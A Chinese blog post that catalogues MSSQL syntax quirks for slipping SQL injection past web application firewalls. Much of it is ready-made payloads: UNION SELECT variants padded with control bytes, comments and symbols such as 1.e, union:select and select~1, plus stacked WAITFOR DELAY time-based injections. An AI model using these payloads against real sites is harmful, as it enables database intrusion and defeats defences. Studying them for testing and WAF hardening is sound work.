0x01前言

我们经常利用一些数据库特性来进行WAF绕过。在MSSQL中，比如可以这样：

```
浮点数形式：id=1.1union select
科学计数法形式：id=1e0union select

但其实还可以这样子：id=1.eunion select
```

通过1.e这样的形式，我曾用它绕过了D盾的SQL注入防护，通过简单的Fuzz，我们来一起探索一下MSsql特性。

0x02 测试

常见有5个位置即：select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

位置一：参数和union之间的位置

（1）空白字符

Mssql可以利用的空白字符有：
`01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20`

（2）注释符号

Mssql也可以使用注释符号 /**/

（3）浮点数

select * from admin where id=1.1union select 1,'2',db_name() from admin

（4）1E0的形式：

select * from admin where id=1e0union select 1,'2',db_name() from admin

（5）运算符

包括加(+)、减(-)、乘(*)、除(/)、求于(%)、位与（&）、位或（|）、位异或（^）

select username,password,id from admin where id=1-1union select '1',system_user,3 from admin

select username,password,id from admin where id=1e-union select '1',system_user,3 from admin

（6）小区别：

ASPX：[0x00-0x20]、ox2e、[0x30-0x39]、ox45、ox65、[0x80-0xff]、运算符

ASP: [0x01-0x20]、ox2e、[0x30-0x39]、ox45、ox65、运算符

单引号：select username,password,id from admin where id=1 and '1'like'1'union select null,null,null

位置二：union和select之间的位置

（1）空白字符

Mssql可以利用的空白字符有：
`01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20`

（2）注释符号

Mssql也可以使用注释符号/**/

（3）其他符号

： %3a 冒号

select * from admin where id=1 union:select 1,'2',db_name() from:admin

ASPX：[0x00-0x20]、0x3a、[0x80-0xff]要组合前面的两个才能执行，如%3a%a0、%a0%0a

ASP: [0x01-0x20] 、0x3a

位置三：select和查询参数之间的位置

（1）空白字符

Mssql可以利用的空白字符有：
`01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20`

（2）注释符号

Mssql也可以使用注释符号/**/

（3）其他符号

%2b + select * from admin where id=1 union select+1,'2',db_name() from admin

%2d - select * from admin where id=1 union select-1,'2',db_name() from admin

%2e . select * from admin where id=1 union select.1,'2',db_name() from admin

%3a : select * from admin where id=1 union select:1,'2',db_name() from admin

%7e ~ select * from admin where id=1 union select~1,'2',db_name() from admin

位置四：查询参数和from之间的位置

（1）空白字符

Mssql可以利用的空白字符有：
`01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20`

（2）注释符号

Mssql也可以使用注释符号/**/

（3）其他符号

ASP: [0x01-0x20]、0x2e、[0x30-0x39]、0x45、0x65、[0x80-0xff]

ASPX：[0x00-0x20]、0x2e、[0x30-0x39]、0x45、0x65、

id=1%20union%20select%201,'2',db_name()%80from%20admin

db_name与()中间 %00-%20 %80-%ff填充

id=1 union select 1,'2',db_name+() from admin

位置五：from后面的位置

（1）空白字符

Mssql可以利用的空白字符有：
`01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20`

（2）注释符号

Mssql也可以使用注释符号/**/

（3）其他符号

： %3a select * from admin where id=1 union:select 1,'2',db_name() from:admin

. %2e select * from admin where id=1 union select 1,'2',db_name() from.information_schema.SCHEMATA

ASP： [0x01-0x20]、0x2e、0x3a

ASPX： [0x00-0x20]、0x2e、0x3a、[0x80-0xff]

0x03 常见函数

类型一、字符串截取函数

Substring(@@version,1,1)

Left(@@version,1)

Right(@@version,1)

charindex('test',db_name())

类型二：字符串转换函数

Ascii('a')

Char('97') 这里的函数可以在括号之间添加空格的，一些waf过滤不严会导致bypass

类型三：其他方式

利用存储过程

mssql的存储过程定义为：

```
`Declare @s varchar(5000)  ``//申明变量@s 类型为varchar(5000)``Set @  ``//给@s变量赋值
``Exec(@s) ``//执行@s`
```

id=1;Exec('WA'+'ITFOR DELAY ''0:0:5''')

id=1;declare @test nvarchar(50);set @test='wait'+'for delay ''0:0:5''';exec sp_executesql @test

0X04 END

本文整理了一些常见的MSsql数据库特性，如果有时间的话，你不妨也动动手，亲手去Fuzz一下，你可能会发现更多的特性。

新文章将同步更新到我的个人公众号上，欢迎各位朋友扫描我的公众号二维码关注一下我，随时获取最新动态。